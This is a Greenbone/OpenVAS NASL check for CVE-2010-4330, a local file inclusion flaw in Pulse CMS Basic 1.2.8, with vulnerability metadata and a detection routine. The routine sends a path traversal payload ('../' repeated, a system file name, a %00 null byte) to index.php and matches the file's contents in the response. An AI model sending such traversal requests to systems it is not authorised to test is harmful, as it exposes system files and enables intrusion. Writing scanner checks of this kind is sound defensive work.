Pulse CMS Basic Local File Include Vulnerability

# Copyright (C) 2010 Greenbone Networks GmbH
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-or-later
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.

CPE = "cpe:/a:pulsecms:pulse_cms";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.100935");
  script_version("2022-05-02T09:35:37+0000");
  script_cve_id("CVE-2010-4330");
  script_tag(name:"last_modification", value:"2022-05-02 09:35:37 +0000 (Mon, 02 May 2022)");
  script_tag(name:"creation_date", value:"2010-12-06 15:55:47 +0100 (Mon, 06 Dec 2010)");
  script_tag(name:"cvss_base", value:"6.8");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:P/I:P/A:P");
  script_name("Pulse CMS Basic Local File Include Vulnerability");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2010 Greenbone Networks GmbH");
  script_family("Web application abuses");
  script_dependencies("gb_pulse_cms_http_detect.nasl", "os_detection.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("pulsecms/http/detected");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/45186");
  script_xref(name:"URL", value:"http://www.uncompiled.com/2010/12/pulse-cms-basic-local-file-inclusion-vulnerability-cve-2010-4330/");

  script_tag(name:"solution", value:"Reportedly, the issue is fixed in version 1.2.9, but Symantec
  has not confirmed this. Please contact the vendor for more information.");

  script_tag(name:"summary", value:"Pulse CMS Basic is prone to a local file-include vulnerability.");

  script_tag(name:"impact", value:"An attacker can exploit this issue to include arbitrary local
  files and execute PHP code on the affected computer in the context of the webserver process.
  This may facilitate a compromise of the application and the underlying system, other attacks are
  also possible.");

  script_tag(name:"affected", value:"Pulse CMS Basic 1.2.8 is vulnerable. Other versions may also be
  affected.");

  script_tag(name:"qod_type", value:"remote_vul");
  script_tag(name:"solution_type", value:"VendorFix");

  exit(0);
}

include("misc_func.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");
include("os_func.inc");

if (!port = get_app_port(cpe: CPE, service: "www"))
  exit(0);

if (!dir = get_app_location(cpe: CPE, port: port))
  exit(0);

if (dir == "/")
  dir = "";

files = traversal_files();

foreach file(keys(files)) {
  url = dir + "/index.php??p=" + crap(data: "../", length: 3 * 9) + files[file] + "%00";

  if (http_vuln_check(port: port, url: url, pattern: file)) {
    report = http_report_vuln_url(port: port, url: url);
    security_message(port: port, data: report);
    exit(0);
  }
}

exit(99);